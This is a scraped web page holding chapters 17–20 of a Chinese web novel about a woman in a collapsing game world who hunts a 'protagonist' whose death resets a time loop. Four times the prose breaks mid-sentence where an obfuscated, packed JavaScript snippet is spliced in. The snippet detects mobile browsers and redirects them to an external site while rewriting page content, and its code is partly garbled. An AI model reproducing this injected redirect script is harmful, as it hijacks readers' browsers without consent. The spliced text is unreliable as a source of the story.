“我对人类的道德困境没有兴趣。” 闵朝言说, “告诉我你还知道什么。” “我知道,那些研究员的首领,是一个很神秘的存在,TA从来没有出现过,却同时进行着很多个项目,但这些项目的核心都是一致的,TA建立一个进化之后的新世界,要把世界安排成自己想要的样子。” “我想,他应该不仅仅打算停在只制造我们‘工具阶层’,但有一天,他突然停下了。” 少晏说。 那是三年前的事情了, 少晏当时已经决定顺从自己的命运,只是依然执着于找一个他认可的主人——毕竟,那是他生命中唯一且仅有的自由了。 为此,他一直不肯顺从于当时负责他的研究员,没少吃苦头。 少晏一开始被认为是个失败品。 没有强大的力量,没有敏捷的速度。 那位研究员很担心自己会因为实验品的羸弱而被斥责,尤其是在少晏隔壁就住着整个项目组最强大成果的前提下。 那个最成功的实验品,力量极强,速度敏捷都远超人类,进化出了极强的自愈力,甚至还对畸变病毒有一定抗性! 除了不会说话和喜欢像狼一样撕咬东西,没有任何缺点。 害怕被当作无用之人被处理掉的研究员,开始格外卖力地工作。 抽血割肉都是最基本的,研究员还在不断地辛劳工作中,发现了少晏真正的长处: 他很聪明。 这些孩子早就已经被剥夺了语言表达自我的权利,但研究员听到过少晏模仿自己的说话,他模 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309001|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仿得非常好——连语气、停顿,甚至呼吸的气口都一模一样。 研究员检测过少晏的脑部波动, 并且与此同时,将一部分有关于计算的研究内容让他阅读。 大脑波动显示,尽管没有进行过任何与此相关的学习,也没有任何人从旁指导,但在第三遍阅读重复内容时,少晏已经理解了这份极其复杂的、涉及人体基因模组改造的计算公式。 他,非常聪明。 所以当实验室陷入诡异的停摆时,少晏也马上就观察到了这一点。 不是研究遇见了阻碍,也不是实验室出现了经费或者运力不足,而是在最高层安排着一切的手,忽然停止了动作。 少晏敏锐地意识到, 那位神龙不见首尾的领导者,出事了。 这是机会, 千载难逢的机会。 在“别人家的实验品”的帮助下,少晏撕开了那位负责自己的研究员,用对方的眼球打开了数据库和所有关着其他实验品的笼子。 在“恶犬”们血腥的狂欢中,少晏几乎是疯狂地汲取着实验数据库中那些有关于“世界真相”的信息。 踩着尸体得来的收获简直让人惊喜。 他用那个研究员的权限看到,实验室里所有关于自己和胥羽的数据,都显示正在已删除,本能的,少晏暂停了删除进程。 而在整个实验室的主系统中,有一个加密上锁层层保护的文档。 文档的名字是“主角”。 「我靠……」 系统似乎想到了什么,低呼出声。 闵朝言没有反应,她看着少晏,认真听着他接下来的每一句话。 “然后呢?” 她问。 然后, 少晏试图黑进系统里更高的权限,但他被某种存在阻止了。 实验室突然剧烈地震荡着,将他和所有实验品们一起埋在了废墟之下。 是胥羽独自挖断了双手,才将他从尸体堆里扯了出来。 直到醒来的时候,少晏才发现,那个囚禁了自己多年的实验室, 居然就是地下城中人人信奉崇拜的“太阳”。 太阳里面, 居然生存着的是像自己一样的东西吗? 少晏躺在地上,血混着泪一起留下来。 他不甘心,他知道自己还远远没有触及真相, 他不甘心,这世上有一个“主角”,他却要做一个被删除的配角。 为了重新得到接触实验室系统的机会,他设法来到了吴城身边,假装自己知道“太阳”的钥匙,也因此被吴城抓起来。 “那个蠢货估计脑子都被畸变成没用的肌肉了,真以为自己是这里的主人,生怕别人不知道他没有‘太阳’的钥匙,所以不断拷打追问我。” 少晏笑了一声,嘲讽道, “不过,我也没有多聪明,这么些年了,还是没有找到重新回到那个实验室的路。” “但是,我终于想明白了那个‘钥匙’是什么。” “是那个‘主角’。” 主角。 闵朝言喃喃道。 主角, 这个世界的主角,其实只有一个人。 ——予烬。 兜兜转转,居然还是回到他身上。 17. 地下城的暴君(17) “随尚,她真的会来吗?” 地下城的最高处,穿着兜帽的男人俯身看着大地。 如今正是夜晚,月光萦绕在他身侧。 他抬手在透明的玻璃上戳了戳,秀美精致的脸上浮现出疑惑和期待。 “她会来的,一定会的。” 站在他后面的男人回答,正是此前从希望联盟携尸潜逃的随尚。 或者说,他是被尸惊吓,不得不带着对方逃跑。 在运送尸体时,予烬复活了, 而且简直就是变了一个人,性格温和,态度真诚,简直,像个好人! 单单是想起这个形容,都让随尚满身鸡皮疙瘩。 谁能想象啊,那个伪善笑面虎予烬居然有一天真的像个好人! 看着那张满是信任和单纯的脸,随尚只能骗他二人要去完成一个重要的秘密任务,把人拐走了。 随尚在希望联盟多年,就像折日了解他的自私自利,惜命最大,他也了解折日的冷酷果决,宁可错杀不可放过。 如果随尚带着已经复活的予烬回去,折日大概率会在口头上表达对他的赞扬和感谢,然后果断灭口。 “希望联盟最重要的研究员是个畸变怪物而且还会死而复生!” 这种事情,折日不会让它有一丝流传出去的可能性。 随尚很惜命,他绝不会让自己陷入危险。 比起为联盟而死,为活命背叛联盟其实简单多了。 而且…… 随尚靠在墙边的阴影里,想起在实验室时看到的那个女人。 明明很陌生,并不记得见过她, 随尚却马上知道了对方的身份——那个早已经消失多年的城主,自己真正的主人。 记忆和理智告诉随尚,自己是因为恐惧才向她沉默,这么些年来一直在希望联盟卧底,等待她的命令。 但心跳和身体的本能,却在述说着另一个可能性。 一个荒诞的可能性。 随尚闭上眼,不敢再去想。 他最大的错误, 是在逃亡的路上,没有忍住,去看了闵朝言的就任仪式。 去看那个干嘛呢? 他都是已经准备把予烬扔在半路,自己隐形埋名一辈子再也不出现只求保命的人了,这个地下城的主人到底是闵朝言还是吴城有什么重要的? 随尚没控制住自己的脚步,去到了广场, 当看到高台上那个身影的时候,他下意识地屏住了呼吸。 再也挪不动脚步的还有另一个人, 予烬。 “随尚,她是谁?” 予烬问。 嗯,你不认识? 这是把你打成残废所以折日才能一刀捅死你的那个人啊? 尽管很想这么说,但随尚没有开口,他看着出神怔愣的予烬,想到了一个新的办法, 不需要隐姓埋名一辈子,也能被那个人看见的方法。 —— 鹤棠端着早餐进来,放在闵朝言床上的小桌子上。 早餐很简单,炒鸡蛋,小米粥,还有牛奶。 “休息得还好吗?我准备了早餐,你很久没吃东西了,先吃点清淡的,不然胃会不舒服。” 他说。 “一般。” 闵朝言拿起筷子,在认真地尝试之下,把炒鸡蛋戳成了碎鸡蛋了。 作为一个左手废了的左撇子,她用右手吃饭的姿势很别扭,且无用。 “我来吧。” 鹤棠接过筷子,喂给她。 “你故意的。” 闵朝言看着他。 既然有鸡蛋和大米,明明可以做成方便单手拿取的煮鸡蛋和饭团! “是啊,想喂你吃饭,又担心你拒绝,只好投机取巧了。” 他点头。 “呵。” 闵朝言冷笑一声,然后张嘴咬住炒鸡蛋。 进入副本之后几乎两天没吃东西,她的确饿了。 “刚才少晏说的话,你怎么想。” 咽下炒鸡蛋,闵朝言问。 “什么话?” 鹤棠问。 “别装,你刚才明明就在门外听。” 闵朝言挑眉。 「就是,装什么装,刚才我明明都检测到他在门外了!」 系统不满。 “好吧好吧,看来还是逃不过那位‘系统’小朋友的法眼。” 鹤棠投降, “我确实在门外。” “我觉得,那两只小狗在的地方,不像是地下城的实验室,而是……副本创作者的构思间。” 鹤棠说。 “你对自己所在的世界是个游戏副本这件事情,接受得很快。” 闵朝言说, “我对自己世界是个无限循环的地狱这件事情都已经接受了,比起那个来,游戏副本听上去好多了。” 鹤棠笑。 “你之前说,先有‘病毒’,再有了‘创造病毒的城主’,为什么?” 闵朝言问,同时不满地拍了拍他的手腕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16309002|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 说话可以,饭别停下。 “嗯,因为这个世界一切都很不合逻辑,如果说一个人为了毁灭世界发明了畸变病毒,为什么又会创造一个地下城供幸存者躲避病毒?” 鹤棠说,又喂给她一口粥, “如果说一个人是为了统治世界发明了畸变病毒,为什么又把所有人赶进地下城,而不是利用病毒的威慑在地上谋取权势?” 闵朝言点头,她刚进入副本时就有这种疑惑, 不管从什么角度来想,逻辑都对不上,她最终只能用“毕竟这是个崩坏了的副本”这样的理由来说服自己。 其实就是懒得再想了,因为怎么也不可能想通。 “如果只能用‘城主’是个疯子这种理由来搪塞,那说明这件事已经不合理到用人类的常理都解释不了了。” 鹤棠说。 “当我的老师告诉我所谓‘畸变病毒的真相’时,我就这么觉得。不过,没有人会听我说这些,他们听不懂,仿佛任何世界的异常,在他们眼中都自动消失了。” “幸好,我遇到了你。” 鹤棠用食指抹去闵朝言嘴角的鸡蛋碎屑,在闵朝言狠蹬的目光中,用餐巾擦干净了。 “你以为我要自己吃掉?” 英俊的男人微笑着问。 “……说,正,事。” 闵朝言咬着牙,一字一句。 在头发的遮掩下,她耳根一点红色并不明显。 “噗。” 鹤棠低下头,并不走心地抬手遮住自己弯起的唇。 闵朝言现在手心直痒痒, 简直想捅他一刀。 “咳,说正事。” 鹤棠收起笑容,只是眼角还带着一点余温, “一开始,我不明白这种浅显的逻辑问题从何而来,直到又有一次回溯,我回到了幼儿时期,我母亲给我买了一个积木玩具。” “我拼到一半的时候,发现一个底层的零件忘记装了,导致我的积木站不起来。但是我又不想全部拆开了重新拼,所以找了另一个不太合适的零件,做了一个很突兀的支撑。” “‘制造出畸变病毒的城主’,就是这个很突兀的支撑。” “你现在的身份,是一个在故事后期被强行加入,用来补全前面漏洞的角色,可惜,这让漏洞越补越多了。” 鹤棠说着,将最后一勺小米粥送到闵朝言嘴边。 闵朝言咽下去,点头。 “吃饱了,我们去抓主角。” 她说。 18. 地下城的暴君(18) 闵朝言知道予烬没有死,因为这个副本依然摇摇欲坠的存在着。 她还知道予烬可能也没有“醒”,因为属于主角的崩坏值依然处于“冻结”状态。 找到予烬, 意味着找到带走予烬的人。 那么,要怎么找到予烬? 一般来说,想要找出凶手,总要先从犯罪现场开始。 “我还有一个问题,不,两个。” 闵朝言看着正在给自己换纱布的鹤棠,说, “为什么折日说你会帮我;又为什么你之前说知道延缓我感染的方法,后面却对此闭口不提了。” 鹤棠专注地将最后一块纱布揭开,认真回答: “折日不知道我会帮‘你’,她只是知道我会不惜一切地停止这一场循环,在她的推测中,杀死予烬就能阻止循环,所以她相信我会帮助‘去杀予烬的人’。” “至于第二个问题,我在某一次循环中曾经误入过太阳内部,在那里,一切都是静止的,好像‘时间’这个概念被抹除不再存在了,所以进入‘太阳’之后,病毒自然就会停止侵蚀你。” 他看着闵朝言左臂上虽然已经不再继续加深,但依然溃烂发黑的伤口,缓缓皱起眉头。 闵朝言沉思片刻,皱起眉: “但这样的话,我就不能离开太阳。” “我会陪你啊。” 鹤棠笑了一下,看着闵朝言的眼睛, “不过,你有了自己更好的方法,所以我也没有再提起这个的必要了。” “你想把我囚禁在那里。” 闵朝言平静地说。 鹤棠的指尖顿住,半响,声音里带着一点遗憾: “是呀,多可惜,不然我们那样,也算是一种‘永远’了吧。” “我以为你这样的人,会很讨厌‘永远’这种词。” 闵朝言挑眉。 “循环也是一种永远,你不是竭尽全力想要逃出去吗?” “有坏的永远,就会有好的永远,” 鹤棠笑了一声,额头抵在闵朝言的膝上。 “公主和永远守护着她的骑士,听上去就是一个很美好的永远。” “公主干掉了自以为是守护她的骑士,听上去是个更美好的不永远。” 闵朝言冷哼一声,站起来,力道不轻地踢了一下他的小腿, “走了。” 他们要去希望联盟。 “先等等。” 鹤棠按住闵朝言的手,眨了眨眼,笑, “太阳听上去很美好,但我也的确准备了一个备选方案,对你应该也有用的。” “虽然不是予烬那样的的‘主角’,不过,我多少也有一点自己的长处嘛。” 鹤棠笑着说,咬破舌尖,吻上她的伤口。 比起痛觉更先袭来的是一种莫名的痒,温暖的舌尖舔舐在血肉上,在诡异中又带上一点过度亲密的微妙旖旎。 “你干什么?” 闵朝言没躲开,忍耐着指尖的麻意和战栗,问他。 鹤棠的回答,是在她伤口处涌动出现的一股暖流,安静着汹涌泛滥,隔绝了冰冷的痛意,闵朝言甚至肉眼看见自己左臂伤口处灰败的皮肤恢复了一点血色。 “你,怎么做到的?” 她愣了一下。 “穿越者的秘密吧。” 鹤棠笑着说,舌尖咽下那一点属于闵朝言的黑红色血液。 “现在,我们可以出发了。” 他说。 半响, 鹤棠看着动作自然坐上车的少晏胥羽二人,英俊温和的脸上,眉头微微拧起。 “他们也要去吗?” 他问。 “嗯,信不过你。” 闵朝言坐在副驾驶,漫不经心地回答。 “用完了就踢开,好绝情的公主。” 鹤棠感慨了一句,发动汽车。 地下城中资源匮乏,但汽车和燃油对于鹤棠这样地位的人来说,还是比较唾手可得的资源。 “折日说,比起在地下城建立势力,‘和平鸽’对地上的一切更感谢兴趣,为什么?” 闵朝言看着车窗外的“风景”,问道。 “因为我在怀疑一件事,不过遇到你之后,那件事情自然就有了答案。” 鹤棠回答。 在最开始的循环中,鹤棠只知道世界在循环,但在他的认知中,世界依然是世界。 完整的,真实的世界。 “在那些我活得久一些的循环中,我加入过各种地上探险队,有想要重返家园的,有想要找寻财宝的,总之上去过很多次,但是,很奇怪……” 地上是“静止”的。 人类不是星球和唯一的生物,也不是这颗星球上的“主角”。 即使失去人类,太阳,空气,水依然存在,各种生命依然存在,它们之间依然组成各种链条与网络。 星球从不会静止。 但鹤棠所踏足的地面静止了,每一次去,都和上一次看上去,差不多,死去的城市,畸变的植物。 “在后来的几次循环中,我又上去地面查看过,确认了这个发现。” 鹤棠说。 从那个时候开始,他怀疑起世界的“真实”,知道闵朝言的出现,告诉了他真正的答案。 “我们到了。” 汽车停下。 希望联盟的总部并不大,是一栋三层小楼,真正的主体在地面之下。 在地下城的前身是一个足有城市大的巨大矿洞,中间没有彻底挖通,留了数十个高楼一般的岩石柱支撑着“天空”,也就是地面。 在这里,相比起向上建立,向下挖掘才是最简单的方法,所以人们的住处,往往只会留一个“地面入口”,剩下的部分,尽数在土地之下。 作为一个地下城中有头有脸的组织,希望联盟的三层小楼,已经是极为大气奢华的建筑了。 走进小楼里,折日已经站在门口了。 毕竟,虽然汽车对鹤棠来说稀松平常,但在整座地下城里,这依然算得上是少见的顶级交通工具,折日会得到消息也不意外。 “我以为你们会来的更快一点,” 折日说。 “重大新闻,我也要吃饭睡觉的。” 闵朝言说了一个冷笑话。 折日看了一眼,没说话,带着闵朝言二人一路来到了予烬的实验室里。 那里面显然已经被全部翻找过一遍,东西凌乱散落着,但从折日严肃的表情也能看出来,她大概率没有获得什么有价值的收获。 “我一开始以为是予烬复活了,而且如果他醒过来,不可能不来这里拿他的研究成果。” 折日说, “如果说他在这个世界上在乎过任何一个东西,那应该只有这些瓶瓶罐罐了。” “看来你在委托我的时候闵,故意遗漏了很多重要消息。” 闵朝言看着她。 “我没时间解释那么大一通。你也不需要知道予烬是个什么样的人,只要杀了他就行。至于找人的工作,我本来以为遍布地下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16347530|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城的‘和平鸽’会更有用一些。” 折日说着,看了一眼鹤棠。 她的安排没有错, “和平鸽”最大的特点就是行迹隐蔽和人数众多,理论上,只要予烬出现在地下城中任何一个公共场所,鹤棠都应该能得到消息。 可偏偏,鹤棠现在知道的只有: 予烬曾经在闵朝言的回忆仪式上出现过,随后就失去了行踪。 但这有什么用?整个地下城80%以上的人都出现在了那个仪式上。 「怎么可能啊,就算他全程走小路,也不可能一个人都没遇见过吧?连个线索都没有。」 系统疑惑, 「再说了,那张脸就算抹上泥巴也不可能有人记不住的。」 如果满脸都是泥巴——那就是另一种意义上的“不可能记不住”了。 “你们两个都知道循环的事,予烬不知道吗?” 闵朝言把视线从满地的研究笔记上收回,问折日和鹤棠。 折日动作顿了一下,看向鹤棠,眼神里的意思很明显: 你连循环的事情都告诉她了?! 鹤棠耸了耸肩,表情自然中带着一点疑惑,似乎在说: 不行吗? 折日翻了个白眼,看向闵朝言,知道纠结这些也没有意义,点头。 “我试探过,从他的态度来看,不像知道。” 她回答, “不过每个循环里的他,似乎性格都会有点不一样。” “你怎么试探出来的?” 闵朝言问。 “再会演戏的人,也不可能对追杀了自己好几次人生的人没有一点恨意。” 折日回答。 在上一个循环里,折日抓到了予烬,把他的血都倒吊着放干了——当然,即便到了这个程度,予烬还是奇迹般生还了。 这样程度的尝试在折日的记录里甚至算不上前十。 …… 好吧,非常有说服力。 闵朝言点头。 “那你为什么觉得只有他死了才能结束循环?” 闵朝言又问。 “因为这么多次循环里,我没有亲眼看着死掉过的,只有他而已。一开始只是试试,谁知道一直杀不死他,概率就更大了。” 折日想了想,嗤笑一声, “就当是一个疯子试图抓住最后一根稻草吧。” “那如果——”如果杀了他还没有得用的话,有什么备选方案? 闵朝言刚开口,就看见折日的死亡射线定定投向她,气氛压抑到极点。 “在有结果之前,我们不考虑别的。” 折日一字一句地说,几乎将每个字都在牙齿中碾碎了才缓缓吐出来。 “……收到。” 闵朝言点点头,没继续往下问。 「我天哪她好吓人!」 系统感慨,拍拍自己(并不存在)的赛博胸口,小声说, 「这个副本的每个角色都好吓人,下个副本我一定好好给你挑,找一个至少都正常的。」 ‘我欣赏你努力的精神。’ 闵朝言不置可否。 “那我们现在去哪里?” 闵朝言问。 “去看尸体。” 当初运送予烬“尸体”的三人小队,除了目前不知所踪的随尚之外,其余两人都死在了那个运尸的走廊里。 “不管从‘予烬’身体里醒过来的是什么怪物……” “做好心理准备,他很强。” 她说。 19. 地下城的暴君(19) “我理解她不让你进去,但是为什么不让我进去?我肯定会有用的。” 少晏靠在停尸间外的墙壁上,不解地发问。 他现在健康多了,不仅可以自如行走,除了体力差一些,看上去依然有些过分瘦削,别的地方甚至几乎和常人无异了。 当然,站在他身边的胥羽是无法回答这个问题的。 不会说话的优势之一。 “我很聪明的,她也知道这一点,那她为什么不让我进去。” 少晏还在纠结这件事。 胥羽抬起头看着四周,他始终保持着警惕状态,戒备着任何可能出现的突然袭击。 “我和你说,我们两个,要团结一致。” 少晏看向胥羽,认真地说。 ? 胥羽终于把视线施舍了一点过去。 他不会说话,但少晏看得懂他的意思,他们之间的交流本来就不依赖于人类的语言。 “为什么和我团结?对,她是更喜欢你,我承认。但是她喜欢你就像喜欢街上的流浪狗,你还不是家犬呢。” 少晏翻了个白眼。 …… 胥羽的死亡射线盯住这个大放厥词的“兄弟”。 “嘿,別不承认啊,你不仅想要到家犬,还想当最受宠爱的那个。我早知道你的,你比看上去贪心多了,不会说话的好处就是骗人也变得很容易。” 少晏絮絮叨叨地说, “我和你说,我们要团结一致,你有爪子,我有脑子,我们要合作,才能把那个虚伪的烂鸟打下去。” 少晏讨厌鹤棠,显而易见的。 …… 对于这部分,胥羽沉默着赞同了。 “你知道我们首先应该做的是什么吗?” 少晏若有所思。 “啊,对,美容当然是其中一项,谁会不喜欢好看的人,但是这个不是重点!重点是现在要先变得有用!” “怎么有用?你看她现在最需要什么,不就知道了。” 聪明的小狗已经有了计划。 停尸间内。 闵朝言看着从冰柜里被推出来的两具尸体,不禁挑眉。 直到此刻,她才有种实感: 这里不仅仅是一个游戏副本,也是一个尽管不完整,不独立,但依然存在着的小宇宙。 某种意义上,这些尸体并不是简单的游戏数据,而是真实存在过的生命。 当然,她并不会为了他人的生命默哀, 只是不得不承认他们“存在”着,或者存在过。 “非常优秀的缝合技术。” 鹤棠点评。 “把两百多块尸体碎片拼凑起来可不是很容易的工作。” 站在停尸床旁边的女人笑着回答。 她的脸上带着深刻而狰狞的疤痕,笑起来的时候,显得更加可怖。 “很整齐的缝线。” 闵朝言看着尸体上的缝合痕迹,若有所思。 “伤口也是。” “对,他们不是被撕咬开的,而是被切开的。” 疤痕女人回答, “同时,被切开的。” 她又强调了一句。 人类肢体在遭受创伤时,会呈现出不同的创伤痕迹和“生活反应”。 例如皮肤和肌肉组织的创面痕迹,是被整齐切断,还是不规则撕裂,这代表着创伤的形式。 而生活反应,例如出血程度,肌肉收缩反应,损伤一致性等等,代表着创伤形成的顺序。 这些都是无可掩盖和辩驳的痕迹。 “就算予烬变成同时长了两百十只手的怪物,他也没办法同时拿到那么多武器吧?” 闵朝言问。 “你已经往两百只手的怪物身上想了,想不到也许有个东西叫‘异能’吗?” 折日嗤笑了一声。 “我确实不认为会有‘异能’存在。” 闵朝言点头。 “为什么?在经历过这一切之后,我什么都能相信。” 折日反问。 …… 闵朝言沉默了。 「因为这个副本就是畸变世界观,不是异能世界观啊!当然不会有什么主角突然觉醒异能然后大杀四方的奇怪片段了。」 系统无力地大喊。 「而且,如果予烬已经死了,为什么他的崩坏值还是冻结的?」 系统一直搞不懂这点, 闵朝言也是。 “我相信她。” 鹤棠站在闵朝言身后,开口道: “一定是因为什么别的原因。” 这下轮到折日沉默了,这个身材矮小健硕的女人看着鹤棠好半天,终于默默说了一句: “认识这么多次了,我第一次知道你还是个恋爱脑。” “虽然我的确是,但这不是我相信她的原因。” 鹤棠笑了一声,摇头, “总之……相信我吧。” 折日冷哼一声,看向闵朝言: “无所谓他到底变成了什么东西,总之,我们去杀了他。” “好啊,我们去哪里杀?” 闵朝言问。 “去他真正的‘家’。” 回答这个问题的不是折日,而是站在停尸床前的疤女。 地下城·贫民窟 疤女带着几人来到了一个隐蔽的巷子里,这是通往贫民窟的小路之一。 疤女,这是她自我介绍时使用的代号,她没有说自己的名字,很显然,这也并不是一个应该追问的问题。 “他的老家在这里?” 鹤棠站在昏暗小巷的入口里,缓缓皱起眉。 “予烬是个聪明人,他知道他在希望联盟不受信任,所以很早就开始默默在这里安排势力了。” 折日回答。 “为什么是这里?” 闵朝言不解。 尽管一直被暗中防备,接触不到真正的核心资源, 但予烬表面上依然是希望联盟的顶级研究员,所能接触到的地下城权贵数不胜数, 他为什么要在贫民窟里培植势力? 地下城的资源分布极度不均,阶级差距更是不可想象, 一个权贵谈笑间能带给予烬的资源和助力,远超过一百一千个贫民拼命争夺来的东西。 “因为只有在这里,善意和尊重能换来一个人的忠诚,愿意为他而死的忠诚。” 鹤棠回答。 闵朝言送了耸肩,不置可否。 在这个话题上,她确实没有发言权,闵朝言既不对任何人献上忠诚,也懒得收取任何人的忠诚。 几人顺着入口向下,钻进贫民窟。 如果说地下城已经是人类面对末日,不得不做出的悲惨退让,那么地下城里的贫民窟,大概就是这种悲惨梦魇的总和具现。 在这里,几乎没有任何“阳光”的存在,所有的光源来自于人造,人们几乎活在永夜当中。 不断向下挖掘出来的洞窟没有严格意义上的道路,向上和向下,比起走路,更加依靠攀爬。 “就在这里了。” 疤女停下脚步。 然而,她停下的地方并不是任何一扇门前,而是几条错综复杂的道路交汇。 “没有具体位置?” 闵朝言问。 “他很警觉,我们的人只能跟到这里。” 折日回答。 就像是贫民窟里的任何一个巢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365894|182368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穴一样,六条小径通往着被土层掩盖着的数十扇紧紧挤在一起的大门,每一扇都散发着干枯濒死的气息。 “所以,我们现在要从这七十九扇门里找出来属于予烬的那一个?” 少晏不解, “吴城死了,希望联盟和和平鸽的头领都在这里,为什么要猜,全炸开不行吗?” 这个时候还隐藏什么行踪? “不行。” 出声反对的是疤女。 “这里的人很团结,你强行打开其中一个人的门,就等于和他们所有人宣战。” 蚁群必须紧密抱团,才能生存。 这是属于地下更深处的生存法则。 “那就都——” 少晏刚开口,又马上顿住, “我来找。” “不用,就是这个。” 闵朝言走到其中一扇门前,抬手擦去上面的灰。 同样灰扑扑的石头门,看上去没什么特别的,只是抬手摸上去的时候格外冰凉。 “你怎么发现的?” 折日走上前观察。 “感觉。” 闵朝言回答。 当然,事实并非如此。 「除非予烬有钱到能给住在这里的每个人都换上外部石材内在金属还附带生物监测功能的超高级大门,不然——肯定就是这个!」 系统很自信。 在这个深度的地下,几乎所有需要联网的无线监测仪器都会失去效用, 除了系统。 “这扇门有密码。” 鹤棠尝试打开。 下一秒,胥羽走上前,手掌成爪状,硬生生将钢制的锁扯了下来。 他的指甲陷进金属里,抽出手的时候被扯断,鲜血还没来得及涌流,伤口就已经愈合。 …… 「哇,在一个副本里足够写三分钟揭秘剧情和两个解谜小游戏的设置,他就这么破解了。」 系统吐槽道。 ‘对于这一点,我很满意。’ 闵朝言说。 她走进入予烬的“巢穴”。 “很鲁莽的尝试。” 鹤棠看向少晏,他当然看出了这个行为真正的发动者。 “成功的鲁莽,等于‘看准时机’。” 少晏笑着回答,跟着闵朝言的脚步走了进去。 二人擦肩而过,没有给对方一个眼神。 闵朝言当然没去注意这样的小交锋,她被眼前更震撼的东西吸引住了。 “这是……” 她看着密密麻麻布满了整面墙的画,愣住了。 两米高的墙上,被贴满了无数个狂草式的速写,画面内容繁杂纷乱,出现了大量的扭曲画面,其中有很多画面的主角,都是予烬自己。 画的角落里写着“梦境编号xx”,数字已经累计到了三位数。 他在“梦”中已经死去了几百次。 被倒吊着放血、割断脖子、扔进烈火焚烧…… 这简直就是主角死法大全。 他没留下记忆, 也没有忘记痛苦。 “哈,看来他也不是真的一点都不记得。” 折日嗤笑了一声,脸色却很难看。 因为这些画面验证了一件事, 一件让折日绝对不希望验证的事情。 “看来他不是无法被杀死,” 闵朝言抬手,扯下来一张速写,若有所思。 “是每一次他被杀死的时候,这个宇宙就又会再一次重启。” 所以,折日和鹤棠重复轮回了无数次,却一次也没有见到过予烬的死亡。 因为予烬的死亡, 意味着再一次“循环”的开启。 20. 地下城的暴君(20) “怎么可能……” 折日看着墙上的画面,喃喃自语,忽然笑出声来,声音凄厉, “那要怎么办?!怎么办!!!” 原来她不是没有成功过,而是在每一次成功之后,就马上又陷入失败,她以为予烬一直在奇迹般地生还,其实只是因为这个世界! 这个世界,就是这样偏心, 每次都在他彻底死亡之前重启一切! 凭什么? 凭什么?!! 难道这个世界只围绕着予烬运转, 难道一切都只是为了予烬存在吗? 那她们呢, 她们要怎么办?! 难道就永远活在这样的没有尽头的循环里,难道就这样永远不生不死地“存在”着吗?! 闵朝言看着折日在巨大愤怒之下显得恍惚的神情, 有一瞬间居然说不出话来。 永远的囚徒,这个词听上去就让人发冷。 “冷静。” 疤女走上前扶住折日,她的脸色也不太好,唇色苍白,显然也是陷入了极大的迷茫之中, “我们再想别的办法。” 别的办法是什么呢? 不知道,谁也不知道,但现在必须这样想, 必须抓住希望, 想要活下去,就必须抓住希望, 即使是渺小的,虚假的,无用的希望。 「我……有一个想法。」 系统小声说, 「她们之前一直被困在循环里,是因为之前这个副本被冻结了,但是我们进来之后,冻结已经解除了,我觉得,其实循环早就已经结束了吧?」 ‘然后呢。’ 闵朝言问。 「然后什么?」 系统不解。 ‘比陷入循环更可怕的,是陷入对循环的恐惧。’ 闵朝言看着折日,在心中默默叹了口气, ‘不管循环会不会再到来,她都已经活在循环里了。’ 「那怎么办?」 系统问。 ‘简单。’ 闵朝言拍了拍手心的灰,看向墙上的画,声音平静: ‘杀了予烬,让她知道,自己已经不再循环里了。’ 「额,不是和你唱反调啊,但是从我们完成任务的角度来说,应该是予烬更重要吧?咱们还有好多个剧情点没走呢。」 系统犹豫。 “我们该出发了。” 没有理会系统,闵朝言出声打破了室内的寂静。 “……出发?” 疤女出声。 “嗯,出发去杀了予烬。” 闵朝言回答。 “你没看见这些吗?” 疤女问。 “嗯,看见了,所以呢?不杀了?” 闵朝言笑了一声,反问。 “如果又陷入循环呢?” 疤女问。 “如果打破了循环呢?” 闵朝言只说。 “之前那么多次……为什么一次会不一样。” 折日面无表情地说。 闵朝言站起来,一步步走到了折日面签,居高临下地看着她,神色傲然: “因为这一次,有我在。” 在踏出脚步时,闵朝言听见系统满是不解的声音: 「为什么,闵朝言?」 为什么帮她们? 你不是谁也不在乎,只想要完成自己的目标吗? 为什么这么做? 去做一件可能没有回报的事。 ‘因为我想。’ 她听见自己这么回答。 她听见另一个声音,一个只属于回忆里的声音。 明快,开朗,总是莽撞,常常受伤,但又一直很充满期待。 